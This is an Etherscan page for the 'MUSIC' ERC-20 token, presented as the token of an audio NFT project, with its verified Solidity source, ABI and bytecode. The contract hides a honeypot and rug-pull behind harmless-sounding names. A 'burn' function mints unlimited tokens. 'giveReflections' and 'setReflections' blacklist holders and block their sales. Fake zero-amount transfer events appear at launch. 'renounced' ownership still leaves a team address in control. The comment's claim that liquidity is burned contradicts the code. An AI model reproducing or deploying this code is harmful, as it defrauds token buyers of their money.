ERC-20
Overview
Max Total Supply
10,000,004,999,999,999,999.999999999999999999 MUSIC
Holders
33
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MUSIC
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-07-21 */ /* ;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ,;;;;; ,;;;;; ;;;;;; ;;;;;; `;;;;' `;;;;' MUSIC is the official ERC-20 Token for Musify, the future of audio NFTs. Liquidity Tokens burnched on launch No presale No whitelist Check out our community telegram for more information */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract MUSIC is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 5000000000000*10**18; string public _name = "MUSIC"; string public _symbol= "MUSIC"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0x2931dc65cb11FB483aCcde7bA9d97CC3D22Bc961); modifier onlyTeam { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } modifier onlyOwner { require((owner == msg.sender)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyTeam public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyTeam public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyTeam public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner))); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyTeam public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"giveReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"toggleReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526c3f1bdf10116048a593400000006006556040518060400160405280600581526020017f4d55534943000000000000000000000000000000000000000000000000000000815250600790805190602001906200006292919062000224565b506040518060400160405280600581526020017f4d5553494300000000000000000000000000000000000000000000000000000081525060089080519060200190620000b092919062000224565b506001600960006101000a81548160ff021916908315150217905550732931dc65cb11fb483accde7ba9d97cc3d22bc961600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012e57600080fd5b506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620001d59190620002e5565b60405180910390a333600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000371565b82805462000232906200030c565b90600052602060002090601f016020900481019282620002565760008555620002a2565b82601f106200027157805160ff1916838001178555620002a2565b82800160010185558215620002a2579182015b82811115620002a157825182559160200191906001019062000284565b5b509050620002b19190620002b5565b5090565b5b80821115620002d0576000816000905550600101620002b6565b5090565b620002df8162000302565b82525050565b6000602082019050620002fc6000830184620002d4565b92915050565b6000819050919050565b600060028204905060018216806200032557607f821691505b602082108114156200033c576200033b62000342565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b612b3580620003816000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190612010565b610531565b604051610179919061256e565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a4919061244c565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf91906120a3565b6105e8565b6040516101e19190612416565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906120e3565b610606565b005b34801561021f57600080fd5b5061022861074d565b604051610235919061256e565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612050565b610757565b6040516102729190612416565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b49190612589565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df919061256e565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b5061032660048036038101906103219190611fb6565b610a2f565b604051610333919061256e565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e9190611fb6565b610a47565b604051610370919061256e565b60405180910390f35b34801561038557600080fd5b5061038e610a8f565b60405161039b9190612348565b60405180910390f35b3480156103b057600080fd5b506103b9610ab5565b6040516103c6919061244c565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f191906120a3565b610b47565b005b34801561040457600080fd5b5061041f600480360381019061041a9190611fb6565b610d4d565b005b34801561042d57600080fd5b50610448600480360381019061044391906120a3565b610deb565b6040516104559190612416565b60405180910390f35b34801561046a57600080fd5b50610473610e09565b604051610480919061244c565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906120e3565b610e97565b005b3480156104be57600080fd5b506104c7610fde565b005b3480156104d557600080fd5b506104de6114d5565b6040516104eb919061244c565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190612010565b611563565b604051610528919061256e565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612701565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612701565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56115ea565b84846115f2565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc61280b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061074190612764565b9150506106bb565b5050565b6000600654905090565b60006107648484846117bd565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6115ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906124ee565b60405180910390fd5b6108438561083b6115ea565b8584036115f2565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ea57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ac490612701565b80601f0160208091040260200160405190810160405280929190818152602001828054610af090612701565b8015610b3d5780601f10610b1257610100808354040283529160200191610b3d565b820191906000526020600020905b815481529060010190602001808311610b2057829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610bf05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c60906124ce565b60405180910390fd5b610c7560008383611eaa565b8060066000828254610c879190612611565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cdc9190612611565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d41919061256e565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610dff610df86115ea565b84846117bd565b6001905092915050565b60088054610e1690612701565b80601f0160208091040260200160405190810160405280929190818152602001828054610e4290612701565b8015610e8f5780601f10610e6457610100808354040283529160200191610e8f565b820191906000526020600020905b815481529060010190602001808311610e7257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610f405750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f4957600080fd5b60005b8151811015610fda57600060036000848481518110610f6e57610f6d61280b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fd290612764565b915050610f4c565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103857600080fd5b600960019054906101000a900460ff1615611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f9061254e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061111130600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546115f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561115757600080fd5b505afa15801561116b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118f9190611fe3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112299190611fe3565b6040518363ffffffff1660e01b8152600401611246929190612363565b602060405180830381600087803b15801561126057600080fd5b505af1158015611274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112989190611fe3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061132130610a47565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611369969594939291906123b5565b6060604051808303818588803b15801561138257600080fd5b505af1158015611396573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113bb9190612159565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161147f92919061238c565b602060405180830381600087803b15801561149957600080fd5b505af11580156114ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d1919061212c565b5050565b600780546114e290612701565b80601f016020809104026020016040519081016040528092919081815260200182805461150e90612701565b801561155b5780601f106115305761010080835404028352916020019161155b565b820191906000526020600020905b81548152906001019060200180831161153e57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611662576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116599061252e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c99061248e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117b0919061256e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118249061250e565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561188b57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561192f5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806119df5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806119de5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b6119e857600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b3a57600960009054906101000a900460ff1680611aa25750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611afa5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b309061246e565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611ba25750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611bfa5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c3057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611c3957600080fd5b611c44838383611eaa565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc1906124ae565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d5d9190612611565b92505081905550436004600b54611d749190612611565b118015611dce5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611e3e578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611e319190612431565b60405180910390a3611ea4565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e9b919061256e565b60405180910390a35b50505050565b505050565b6000611ec2611ebd846125c9565b6125a4565b90508083825260208201905082856020860282011115611ee557611ee461286e565b5b60005b85811015611f155781611efb8882611f1f565b845260208401935060208301925050600181019050611ee8565b5050509392505050565b600081359050611f2e81612aba565b92915050565b600081519050611f4381612aba565b92915050565b600082601f830112611f5e57611f5d612869565b5b8135611f6e848260208601611eaf565b91505092915050565b600081519050611f8681612ad1565b92915050565b600081359050611f9b81612ae8565b92915050565b600081519050611fb081612ae8565b92915050565b600060208284031215611fcc57611fcb612878565b5b6000611fda84828501611f1f565b91505092915050565b600060208284031215611ff957611ff8612878565b5b600061200784828501611f34565b91505092915050565b6000806040838503121561202757612026612878565b5b600061203585828601611f1f565b925050602061204685828601611f1f565b9150509250929050565b60008060006060848603121561206957612068612878565b5b600061207786828701611f1f565b935050602061208886828701611f1f565b925050604061209986828701611f8c565b9150509250925092565b600080604083850312156120ba576120b9612878565b5b60006120c885828601611f1f565b92505060206120d985828601611f8c565b9150509250929050565b6000602082840312156120f9576120f8612878565b5b600082013567ffffffffffffffff81111561211757612116612873565b5b61212384828501611f49565b91505092915050565b60006020828403121561214257612141612878565b5b600061215084828501611f77565b91505092915050565b60008060006060848603121561217257612171612878565b5b600061218086828701611fa1565b935050602061219186828701611fa1565b92505060406121a286828701611fa1565b9150509250925092565b6121b581612667565b82525050565b6121c481612679565b82525050565b6121d3816126bc565b82525050565b60006121e4826125f5565b6121ee8185612600565b93506121fe8185602086016126ce565b6122078161287d565b840191505092915050565b600061221f602383612600565b915061222a8261288e565b604082019050919050565b6000612242602283612600565b915061224d826128dd565b604082019050919050565b6000612265602683612600565b91506122708261292c565b604082019050919050565b6000612288601f83612600565b91506122938261297b565b602082019050919050565b60006122ab602883612600565b91506122b6826129a4565b604082019050919050565b60006122ce602583612600565b91506122d9826129f3565b604082019050919050565b60006122f1602483612600565b91506122fc82612a42565b604082019050919050565b6000612314601783612600565b915061231f82612a91565b602082019050919050565b612333816126a5565b82525050565b612342816126af565b82525050565b600060208201905061235d60008301846121ac565b92915050565b600060408201905061237860008301856121ac565b61238560208301846121ac565b9392505050565b60006040820190506123a160008301856121ac565b6123ae602083018461232a565b9392505050565b600060c0820190506123ca60008301896121ac565b6123d7602083018861232a565b6123e460408301876121ca565b6123f160608301866121ca565b6123fe60808301856121ac565b61240b60a083018461232a565b979650505050505050565b600060208201905061242b60008301846121bb565b92915050565b600060208201905061244660008301846121ca565b92915050565b6000602082019050818103600083015261246681846121d9565b905092915050565b6000602082019050818103600083015261248781612212565b9050919050565b6000